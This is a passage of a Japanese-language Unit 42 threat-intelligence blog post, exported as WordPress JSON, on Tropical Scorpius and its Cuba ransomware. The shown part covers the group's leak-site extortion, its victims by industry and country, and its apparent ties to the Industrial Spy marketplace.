{"id":124395,"date":"2022-08-12T01:57:06","date_gmt":"2022-08-12T08:57:06","guid":{"rendered":"https:\/\/unit42.paloaltonetworks.com\/?p=124395"},"modified":"2022-11-17T18:32:25","modified_gmt":"2022-11-18T02:32:25","slug":"cuba-ransomware-tropical-scorpius","status":"publish","type":"post","link":"https:\/\/unit42.paloaltonetworks.com\/ja\/cuba-ransomware-tropical-scorpius\/","title":{"rendered":"Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306b\u65b0\u305f\u306a\u30cb\u30e5\u30fc\u30b9: Tropical Scorpius\u304b\u3089\u306e\u6328\u62f6\u72b6"},"content":{"rendered":"<h2><a id=\"post-124395-_y6xeehy0q3bi\"><\/a><strong>\u6982\u8981<\/strong><\/h2>\n<p>Unit 42\u306f2022\u5e745\u6708\u521d\u65ec\u304b\u3089\u3081\u305a\u3089\u3057\u3044\u30c4\u30fc\u30eb\u3068\u30c6\u30af\u30cb\u30c3\u30af\u3092\u4f7f\u3063\u3066Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3092\u5c55\u958b\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u3092\u89b3\u6e2c\u3057\u3066\u3044\u307e\u3059\u3002\u79c1\u305f\u3061\u306f\u3001<a href=\"https:\/\/unit42.paloaltonetworks.jp\/unit-42-threat-group-naming-update\/\">\u3053\u3061\u3089\u306e\u547d\u540d\u898f\u5247\u306b\u3057\u305f\u304c\u3044<\/a>\u3001\u3053\u306e\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u3092Tropical Scorpius\u306e\u540d\u524d\u3067\u8ffd\u8de1\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u672c\u7a3f\u306f\u3001\u540c\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u6982\u8981\u304b\u3089\u306f\u3058\u3081\u3001Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u5c55\u958b\u306b\u3044\u305f\u308b\u307e\u3067\u306b\u89b3\u6e2c\u3055\u308c\u305f\u632f\u308b\u821e\u3044\u306e\u5909\u9077\u3092\u4e2d\u5fc3\u306b\u898b\u3066\u3044\u304d\u307e\u3059\u3002\u3053\u306e\u8105\u5a01\u306e\u632f\u308b\u821e\u3044\u306f1\u5e74\u4ee5\u4e0a\u4e00\u8cab\u3057\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u6700\u8fd1\u3001\u82e5\u5e72\u306e\u5909\u5316\u304c\u898b\u3089\u308c\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002\u305d\u3053\u3067\u672c\u7a3f\u3067\u306f\u3001\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u6a5f\u80fd\u3084\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u306e\u6982\u8981\u3001Tropical Scorpius\u306e\u4f7f\u3046\u6226\u8853\u30fb\u6280\u8853\u30fb\u624b\u9806(TTP)\u306e\u6280\u8853\u7684\u8a73\u7d30\u3092\u89e3\u8aac\u3057\u307e\u3059\u3002\u3068\u304f\u306b\u4ee5\u4e0b\u3092\u4e2d\u5fc3\u306b\u53d6\u308a\u4e0a\u3052\u307e\u3059\u3002<\/p>\n<ul>\n<li>Unit 42\u304cROMCOM RAT\u306e\u540d\u524d\u3067\u8ffd\u8de1\u3057\u3066\u3044\u308b\u65b0\u305f\u306a\u30de\u30eb\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea<\/li>\n<li>\u5175\u5668\u5316\u3055\u308c\u305fSYSTEM\u3078\u306e\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8<\/li>\n<li>Unit 42\u304cKerberCache\u306e\u540d\u524d\u3067\u8ffd\u8de1\u3057\u3066\u3044\u308b\u65b0\u305f\u306aKerberos\u30c4\u30fc\u30eb<\/li>\n<li>\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u88fd\u54c1\u3092\u6a19\u7684\u3068\u3059\u308b\u30ab\u30fc\u30cd\u30eb\u30c9\u30e9\u30a4\u30d0<\/li>\n<li>ZeroLogon\u30cf\u30c3\u30af\u30c4\u30fc\u30eb\u4f7f\u7528\u306e\u8b58\u5225<\/li>\n<\/ul>\n<p>\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f\u3001\u5f0a\u793e\u306e<a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/security-subscriptions\">\u30af\u30e9\u30a6\u30c9\u578b\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30b5\u30fc\u30d3\u30b9<\/a> <a href=\"https:\/\/www.paloaltonetworks.jp\/network-security\/advanced-threat-prevention\">Advanced Threat Prevention<\/a>\u3092\u901a\u3058\u3001\u672c\u7a3f\u306b\u8aac\u660e\u3059\u308b\u8105\u5a01\u304b\u3089\u306e\u4fdd\u8b77\u3092\u53d7\u3051\u3066\u3044\u307e\u3059\u3002\u307e\u305f\u30d1\u30ed\u30a2\u30eb\u30c8\u30cd\u30c3\u30c8\u30ef\u30fc\u30af\u30b9\u306e\u304a\u5ba2\u69d8\u306f<a href=\"https:\/\/www.paloaltonetworks.jp\/cortex\/cortex-xdr\">Cortex XDR<\/a>\u3001<a href=\"https:\/\/www.paloaltonetworks.jp\/products\/secure-the-network\/wildfire\">WildFire<\/a>\u306e\u30de\u30eb\u30a6\u30a7\u30a2\u89e3\u6790\u304b\u3089\u306e\u4fdd\u8b77\u3092\u53d7\u3051\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u4fb5\u5bb3\u306e\u61f8\u5ff5\u304c\u3042\u308a\u5f0a\u793e\u306b\u30a4\u30f3\u30b7\u30c7\u30f3\u30c8\u30ec\u30b9\u30dd\u30f3\u30b9\u306b\u95a2\u3059\u308b\u3054\u76f8\u8ac7\u3092\u306a\u3055\u308a\u305f\u3044\u5834\u5408\u306f\u3001infojapan@paloaltonetworks.com \u307e\u3067\u96fb\u5b50\u30e1\u30fc\u30eb\u306b\u3066\u3054\u9023\u7d61\u304f\u3060\u3055\u3044 (\u3054\u76f8\u8ac7\u306f\u5f0a\u793e\u88fd\u54c1\u306e\u304a\u5ba2\u69d8\u306b\u306f\u9650\u5b9a\u3055\u308c\u307e\u305b\u3093)\u3002\u307e\u305f\u5f0a\u793e<a href=\"https:\/\/www.paloaltonetworks.com\/unit42\/assess\">\u30b5\u30a4\u30d0\u30fc\u30ea\u30b9\u30af\u30de\u30cd\u30b8\u30e1\u30f3\u30c8\u30b5\u30fc\u30d3\u30b9<\/a>\u3092\u30ea\u30af\u30a8\u30b9\u30c8\u3044\u305f\u3060\u3051\u308c\u3070\u4e88\u9632\u7684\u63aa\u7f6e\u3092\u8b1b\u3058\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059\u3002<\/p>\n<p><span style=\"font-weight: 400;\">\u672c\u7a3f\u306b\u95a2\u9023\u3057\u3066\u89b3\u6e2c\u3055\u308c\u305f\u30c6\u30af\u30cb\u30c3\u30af\u3084\u305d\u308c\u306b\u5bfe\u5fdc\u3057\u3066\u3068\u308b\u3079\u304d\u884c\u52d5\u6307\u91dd\u5168\u4f53 (CoA) \u3092\u8996\u899a\u5316\u3057\u305f\u5185\u5bb9\u306b\u3064\u3044\u3066\u306f <\/span><a href=\"https:\/\/unit42.paloaltonetworks.com\/atoms\/tropicalscorpius\/\">Unit 42\u306eATOM\u30d3\u30e5\u30fc\u30a2<\/a>\u304b\u3089\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044\u3002<\/p>\n<table style=\"width: 72.4981%;\">\n<tbody>\n<tr>\n<td style=\"width: 44.081%;\"><span style=\"font-weight: 400;\">\u95a2\u9023\u3059\u308bUnit 42\u306e\u30c8\u30d4\u30c3\u30af<\/span><\/td>\n<td style=\"width: 105.633%;\"><span style=\"font-weight: 400;\">Ransomware<\/span><\/td>\n<\/tr>\n<tr>\n<td style=\"width: 44.081%;\"><span style=\"font-weight: 400;\">\u672c\u7a3f\u3067\u53d6\u308a\u4e0a\u3052\u308bCuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u3092\u5c55\u958b\u3059\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u30b0\u30eb\u30fc\u30d7\u540d<\/span><\/td>\n<td style=\"width: 105.633%;\"><span style=\"font-weight: 400;\">Tropical Scorpius, UNC2596<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2><a id=\"post-124395-_91sqmw1l0mjy\"><\/a>\u76ee\u6b21<\/h2>\n<p><a href=\"#post-124395-_1floa7d8o3ke\">Tropical Scorpius (Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2)\u6982\u8981: Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u5c55\u958b\u65b9\u6cd5<\/a><br \/>\n<a href=\"#post-124395-_i3z9pmver20\">Tropical Scorpius\u306e\u88ab\u5bb3\u8005\u5b66<\/a><br \/>\n<a href=\"#post-124395-_xnikeicczfm4\">Industrial Spy\u30de\u30fc\u30b1\u30c3\u30c8\u30d7\u30ec\u30a4\u30b9\u3068Tropical Scorpius<\/a><br \/>\n<a href=\"#post-124395-_z4p78mvkouoc\">\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u6a5f\u80fd<\/a><br \/>\n<a href=\"#post-124395-_tjp2kqtwr74e\">\u9632\u885b\u56de\u907f<\/a><br \/>\n<a href=\"#post-124395-_bjhzhx1os45z\">\u30ed\u30fc\u30ab\u30eb\u7279\u6a29\u6607\u683c<\/a><br \/>\n<a href=\"#post-124395-_tt7in3rzheeg\">\u30e9\u30c6\u30e9\u30eb\u30e0\u30fc\u30d6\u3078\u306e\u30c1\u30b1\u30c3\u30c8<\/a><br \/>\n<a href=\"#post-124395-_a7udkc2dtw5i\">\u30c9\u30e1\u30a4\u30f3\u7ba1\u7406\u8005\u3078<\/a><br \/>\n<a href=\"#post-124395-_wikwdfvrewdq\">\u30b3\u30de\u30f3\u30c9&amp;\u30b3\u30f3\u30c8\u30ed\u30fc\u30eb<\/a><br \/>\n<a href=\"#post-124395-_6a9q4c9ewacl\">ROMCOM 2.0<\/a><br \/>\n<a href=\"#post-124395-_p5c2di75xnki\">\u4fdd\u8b77\u3068\u7de9\u548c\u7b56<\/a><br \/>\n<a href=\"#post-124395-_2shk1ssb4tdm\">\u7d50\u8ad6<\/a><br \/>\n<a href=\"#post-124395-_7jvxn2ubekfh\">IoC<\/a><br \/>\n<a href=\"#post-124395-_lpukny55pp6o\">\u8ffd\u52a0\u30ea\u30bd\u30fc\u30b9<\/a><\/p>\n<h2><a id=\"post-124395-_1floa7d8o3ke\"><\/a>Tropical Scorpius (Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2)\u6982\u8981: Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u5c55\u958b\u65b9\u6cd5<\/h2>\n<p>Cuba \u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u306f2019\u5e7412\u6708\u304c\u521d\u8a8d\u306e\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u3067\u3059\u3002\u3053\u306e\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30d5\u30a1\u30df\u30ea\u306e\u80cc\u5f8c\u306b\u3044\u308b\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u306f\u305d\u306e\u5f8c\u6226\u8853\u3084\u30c4\u30fc\u30eb\u3092\u5909\u66f4\u3057\u30012022\u5e74\u306b\u306f\u3055\u3089\u306b\u52e2\u529b\u3092\u5897\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306f\u3001\u6b74\u53f2\u7684\u306b\u306f<a href=\"https:\/\/unit42.paloaltonetworks.jp\/hancitor-infections-cobalt-strike\/\">Hancitor<\/a>\u3092\u901a\u3058\u3066\u914d\u5e03\u3055\u308c\u3066\u304d\u307e\u3057\u305f\u3002Hancitor\u3058\u305f\u3044\u306f\u3001\u60aa\u610f\u306e\u3042\u308b\u6dfb\u4ed8\u30d5\u30a1\u30a4\u30eb\u306b\u3088\u3063\u3066\u914d\u4fe1\u3055\u308c\u307e\u3059\u3002\u3053\u306e\u307b\u304b\u3001Tropical Scorpius\u306f\u3001<a href=\"https:\/\/techcommunity.microsoft.com\/t5\/exchange-team-blog\/proxyshell-vulnerabilities-and-your-exchange-server\/ba-p\/2684705\">ProxyShell<\/a>\u3084<a href=\"https:\/\/msrc-blog.microsoft.com\/2021\/03\/16\/guidance-for-responders-investigating-and-remediating-on-premises-exchange-server-vulnerabilities\/\">ProxyLogon<\/a>\u306a\u3069\u306e<a href=\"https:\/\/unit42.paloaltonetworks.jp\/microsoft-exchange-server-attack-timeline\/\">Microsoft Exchange Server<\/a>\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3059\u308b\u69d8\u5b50\u3082\u78ba\u8a8d\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u306f\u3001\u4fb5\u5bb3\u88ab\u5bb3\u306b\u3042\u3063\u305f\u3068\u3055\u308c\u308b\u7d44\u7e54\u3092\u66b4\u9732\u3059\u308b\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u3067\u4e8c\u91cd\u6050\u559d\u3092\u884c\u3044\u307e\u3059(\u56f31a\u304a\u3088\u3073\u56f31b\u53c2\u7167)\u3002\u305f\u3060\u3057\u3053\u306e\u30b0\u30eb\u30fc\u30d7\u306f2019\u5e74\u306e\u521d\u8a8d\u6642\u306b\u306f\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u3092\u6301\u3063\u3066\u304a\u3089\u305a\u3001\u305d\u306e\u5f8c<a href=\"https:\/\/unit42.paloaltonetworks.jp\/threat-brief-maze-ransomware-activities\/\">Maze<\/a>\u3084<a href=\"https:\/\/unit42.paloaltonetworks.jp\/revil-threat-actors\/\">REvil<\/a>\u306a\u3069\u307b\u304b\u306e\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u306b\u30d2\u30f3\u30c8\u3092\u5f97\u3066\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u3092\u8ffd\u52a0\u3057\u305f\u3082\u306e\u3068\u601d\u308f\u308c\u307e\u3059\u3002Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306b\u306f\u6709\u6599\u30bb\u30af\u30b7\u30e7\u30f3\u3082\u3042\u308a\u3001\u305d\u3053\u3067\u306f\u5e0c\u671b\u8005\u306b\u58f2\u5374\u3055\u308c\u305f\u30ea\u30fc\u30af\u60c5\u5831\u304c\u5171\u6709\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124313\" aria-describedby=\"caption-attachment-124313\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124314 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image.png\" alt=\"\" width=\"900\" height=\"850\" \/><figcaption id=\"caption-attachment-124313\" class=\"wp-caption-text\">\u56f31a. Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\u7121\u6599\u3067\u5229\u7528\u53ef\u80fd\u306a\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u30bb\u30af\u30b7\u30e7\u30f3<\/figcaption><\/figure>\n<figure id=\"attachment_124315\" aria-describedby=\"caption-attachment-124315\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124316 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/word-image-1.png\" alt=\"Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306e\u6709\u6599\u30bb\u30af\u30b7\u30e7\u30f3\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\u3053\u3053\u3067\u30c7\u30fc\u30bf\u304c\u8ca9\u58f2\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u56f3\u306b\u306f[view all] \u3068\u3044\u3046\u30aa\u30d7\u30b7\u30e7\u30f3\u3068\u3042\u308b\u7d44\u7e54\u304c\u8a18\u8f09\u3055\u308c\u3066\u3044\u308b \" width=\"900\" height=\"410\" \/><figcaption id=\"caption-attachment-124315\" class=\"wp-caption-text\">\u56f31b. Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u653b\u6483\u30b0\u30eb\u30fc\u30d7\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306e\u6709\u6599\u30bb\u30af\u30b7\u30e7\u30f3\u306e\u30b9\u30af\u30ea\u30fc\u30f3\u30b7\u30e7\u30c3\u30c8\u3002\u3053\u3053\u3067\u30c7\u30fc\u30bf\u304c\u8ca9\u58f2\u3055\u308c\u3066\u3044\u308b<\/figcaption><\/figure>\n<h2><a id=\"post-124395-_i3z9pmver20\"><\/a>Tropical Scorpius\u306e\u88ab\u5bb3\u8005\u5b66<\/h2>\n<p>\u6700\u65b0\u306e<a href=\"https:\/\/start.paloaltonetworks.jp\/unit-42-ransomware-threat-report.html\">Unit 42 \u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u8105\u5a01\u30ec\u30dd\u30fc\u30c8<\/a>\u306b\u306f\u300133\u7d44\u7e54\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u305fCuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u89b3\u6e2c\u7d50\u679c\u304c\u8a18\u8f09\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u307e\u305f\u3053\u308c\u308933\u7d44\u7e54\u3068\u306f\u5225\u306b\u30012022\u5e747\u6708\u6642\u70b9\u3067\u3001\u300c\u5c02\u9580\u30fb\u6cd5\u5f8b\u30b5\u30fc\u30d3\u30b9\u300d\u3001\u300c\u5dde\u653f\u5e9c\u30fb\u5730\u65b9\u653f\u5e9c\u300d\u3001\u300c\u88fd\u9020\u300d\u3001\u300c\u8f38\u9001\u30fb\u7269\u6d41\u300d\u3001\u300c\u5378\u58f2\u30fb\u5c0f\u58f2\u300d\u3001\u300c\u4e0d\u52d5\u7523\u300d\u3001\u300c\u91d1\u878d\u30b5\u30fc\u30d3\u30b9\u300d\u3001\u300c\u30d8\u30eb\u30b9\u30b1\u30a2\u300d\u3001\u300c\u30cf\u30a4\u30c6\u30af\u300d\u3001\u300c\u516c\u76ca\u4e8b\u696d\u30fb\u30a8\u30cd\u30eb\u30ae\u30fc\u300d\u3001\u300c\u5efa\u8a2d\u300d\u3001\u300c\u6559\u80b2\u300d\u306a\u3069\u8907\u6570\u306e\u696d\u7a2e\u306b\u307e\u305f\u304c\u308b27\u306e\u7d44\u7e54\u306b\u3082Tropical Scorpius\u306f\u5f71\u97ff\u3092\u53ca\u307c\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u306f2019\u5e74\u306e\u767b\u5834\u4ee5\u6765\u3001\u5408\u308f\u305b\u306660\u306e\u7d44\u7e54\u3092\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306b\u66b4\u9732\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u305f\u3060\u3057\u88ab\u5bb3\u8005\u304c\u8eab\u4ee3\u91d1\u3092\u652f\u6255\u3048\u3070\u30c7\u30fc\u30bf\u306f\u516c\u958b\u3055\u308c\u306a\u3044\u3053\u3068\u304c\u591a\u3044\u3053\u3068\u304b\u3089\u3001\u307b\u3093\u3068\u3046\u306e\u88ab\u5bb3\u8005\u6570\u306f\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u304c\u793a\u3059\u6570\u3088\u308a\u591a\u3044\u3082\u306e\u3068\u601d\u308f\u308c\u307e\u3059\u3002<a href=\"https:\/\/www.ic3.gov\/Media\/News\/2021\/211203-2.pdf\">FBI\u306b\u3088\u308b\u3068Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u306f\u8eab\u4ee3\u91d1\u652f\u6255\u3044\u3067\u5c11\u306a\u304f\u3068\u30824,390\u4e07\u30c9\u30eb(\u304a\u3088\u305d59\u5104\u5186)\u3092\u7a3c\u304e\u3060\u3057<\/a>\u3001\u305d\u306e\u3055\u3044\u5c11\u306a\u304f\u3068\u30827,400\u4e07\u30c9\u30eb(\u304a\u3088\u305d100\u5104\u5186)\u3092\u8981\u6c42\u3057\u3066\u3044\u305f\u3068\u306e\u3053\u3068\u3067\u3059\u3002<\/p>\n<figure id=\"attachment_124317\" aria-describedby=\"caption-attachment-124317\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124318 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/chart.png\" alt=\"Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306b\u8a18\u8f09\u3055\u308c\u305f\u7d44\u7e54\u306e\u696d\u7a2e\u306e\u5206\u5e03\u306f\u591a\u3044\u3082\u306e\u304b\u3089\u9806\u306b \u300c\u88fd\u9020\u300d\u3001\u300c\u5c02\u9580\u30fb\u6cd5\u5f8b\u30b5\u30fc\u30d3\u30b9\u300d\u3001\u300c\u91d1\u878d\u30b5\u30fc\u30d3\u30b9\u300d\u3001\u300c\u5efa\u8a2d\u300d\u3001\u300c\u30cf\u30a4\u30c6\u30af\u300d\u3001\u300c\u5378\u58f2\u30fb\u5c0f\u58f2\u300d\u3001\u300c\u4e0d\u52d5\u7523\u300d\u3001\u300c\u5dde\u653f\u5e9c\u30fb\u5730\u65b9\u653f\u5e9c\u300d\u3001\u300c\u8f38\u9001\u30fb\u7269\u6d41\u300d\u3001\u300c\u516c\u5171\u4e8b\u696d\u30fb\u30a8\u30cd\u30eb\u30ae\u30fc\u300d\u3001\u300c\u6559\u80b2\u300d\u3001\u300c\u30d8\u30eb\u30b9\u30b1\u30a2\u300d\" width=\"900\" height=\"556\" \/><figcaption id=\"caption-attachment-124317\" class=\"wp-caption-text\">\u56f32. Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306b\u8a18\u8f09\u3055\u308c\u305f\u7d44\u7e54\u306e\u696d\u7a2e\u5225\u5206\u5e03<\/figcaption><\/figure>\n<p>\u73fe\u5728\u6d3b\u52d5\u7d99\u7d9a\u4e2d\u306e\u307b\u304b\u306e\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u3068\u306f\u3061\u304c\u3044\u3001\u3053\u306e\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306e\u88ab\u5bb3\u7d44\u7e54\u306f\u3001\u5730\u7406\u7684\u5206\u5e03\u306b\u504f\u308a\u304c\u898b\u3089\u308c\u307e\u3059\u3002\u540c\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u30b0\u30eb\u30fc\u30d7\u306b\u5f71\u97ff\u3092\u53d7\u3051\u305f\u88ab\u5bb3\u8005\u306e\u5b9f\u6570\u304c\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306b\u3059\u3079\u3066\u53cd\u6620\u3055\u308c\u3066\u3044\u308b\u308f\u3051\u3067\u306f\u306a\u3044\u306b\u305b\u3088\u3001\u540c\u30b0\u30eb\u30fc\u30d7\u306e\u6a19\u7684\u306b\u95a2\u3057\u3066\u306f\u3001\u3053\u3053\u304b\u3089\u3042\u308b\u7a0b\u5ea6\u3001\u76ee\u661f\u304c\u3064\u3051\u3089\u308c\u307e\u3059\u3002Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306b\u8a18\u8f09\u3055\u308c\u305f60\u4ef6\u306e\u3046\u306140\u4ef6\u306f\u6240\u5728\u5730\u304c\u7c73\u56fd\u3067\u3001\u3053\u308c\u306f\u4fb5\u5bb3\u3092\u53d7\u3051\u305f\u3068\u3055\u308c\u308b\u7d44\u7e54\u5168\u4f53\u306e66%\u306b\u76f8\u5f53\u3057\u307e\u3059\u3002\u3053\u308c\u306b\u304f\u3089\u3079\u3001<a href=\"https:\/\/unit42.paloaltonetworks.jp\/lockbit-2-ransomware\/\">LockBit<\/a>\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306b\u8a18\u8f09\u3055\u308c\u305f\u88ab\u5bb3\u7d44\u7e54\u306e\u3046\u3061\u7c73\u56fd\u304c\u6240\u5728\u5730\u306e\u7d44\u7e54\u306f\u304a\u3088\u305d3\u5272\u306b\u904e\u304e\u307e\u305b\u3093\u3002<\/p>\n<figure id=\"attachment_124319\" aria-describedby=\"caption-attachment-124319\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124320 lozad\"  data-src=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2022\/08\/chart-1.png\" alt=\"Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u6a19\u7684\u3068\u306a\u3063\u305f\u7d44\u7e54\u306e\u5730\u7406\u7684\u5206\u5e03(\u540c\u30b0\u30eb\u30fc\u30d7\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306b\u3082\u3068\u3065\u304f)\u6700\u3082\u96c6\u4e2d\u3057\u3066\u72d9\u308f\u308c\u305f\u306e\u306f\u7c73\u56fd\u3067\u3001\u30ab\u30ca\u30c0\u3001\u30a4\u30bf\u30ea\u30a2\u3001\u30aa\u30fc\u30b9\u30c8\u30e9\u30ea\u30a2\u3001\u305d\u306e\u307b\u304b\u4e16\u754c\u4e2d\u306e\u56fd\u3005\u304c\u7d9a\u3044\u3066\u3044\u308b\" width=\"900\" height=\"557\" \/><figcaption id=\"caption-attachment-124319\" class=\"wp-caption-text\">\u56f33. Cuba\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u306e\u6a19\u7684\u3068\u306a\u3063\u305f\u7d44\u7e54\u306e\u5730\u7406\u7684\u5206\u5e03(\u540c\u30b0\u30eb\u30fc\u30d7\u306e\u30ea\u30fc\u30af\u30b5\u30a4\u30c8\u306b\u3082\u3068\u3065\u304f)<\/figcaption><\/figure>\n<h2><a id=\"post-124395-_xnikeicczfm4\"><\/a>Industrial Spy\u30de\u30fc\u30b1\u30c3\u30c8\u30d7\u30ec\u30a4\u30b9\u3068Tropical Scorpius<\/h2>\n<p>2022\u5e745\u6708\u3001BleepingComputer\u304c\u300cIndustrial Spy\u30de\u30fc\u30b1\u30c3\u30c8\u30d7\u30ec\u30a4\u30b9\u304c\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u4e8b\u696d\u306b\u9032\u51fa\u300d\u3068<a href=\"https:\/\/www.bleepingcomputer.com\/news\/security\/industrial-spy-data-extortion-market-gets-into-the-ransomware-game\/\">\u5831\u3058\u307e\u3057\u305f<\/a>\u30022022\u5e744\u6708\u306e\u767b\u5834\u4ee5\u964d\u3001Industrial Spy\u306f\u300c\u653b\u6483\u30a2\u30af\u30bf\u30fc\u304c\u5229\u7528\u767b\u9332\u3059\u308c\u3070\u4fb5\u5bb3\u88ab\u5bb3\u7d44\u7e54\u304b\u3089\u76d7\u307e\u308c\u305f\u30c7\u30fc\u30bf\u3092\u8cfc\u5165\u3067\u304d\u308b\u30b5\u30a4\u30c8\u300d\u3068\u3057\u3066\u77e5\u3089\u308c\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3057\u305f\u3002\u60aa\u610f\u306e\u3042\u308b\u6d3b\u52d5\u3068\u3044\u3046\u610f\u5473\u3067\u306e\u63a5\u70b9\u306f\u3042\u308a\u307e\u3059\u304c\u3001\u540c\u30de\u30fc\u30b1\u30c3\u30c8\u30d7\u30ec\u30a4\u30b9\u306e\u30e9\u30f3\u30b5\u30e0\u30a6\u30a7\u30a2\u4e8b\u696d\u3078\u306e\u9032\u51fa\u306b\u306fTropical Scorpius\u3068\u306e\u3064\u306a\u304c\u308a\u304c\u3042\u308b\u3088\u3046\u306b\u898b\u53d7\u3051\u3089\u308c\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_124321\" aria-describedby=\"caption-attachment-124321\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-124322 lozad\"  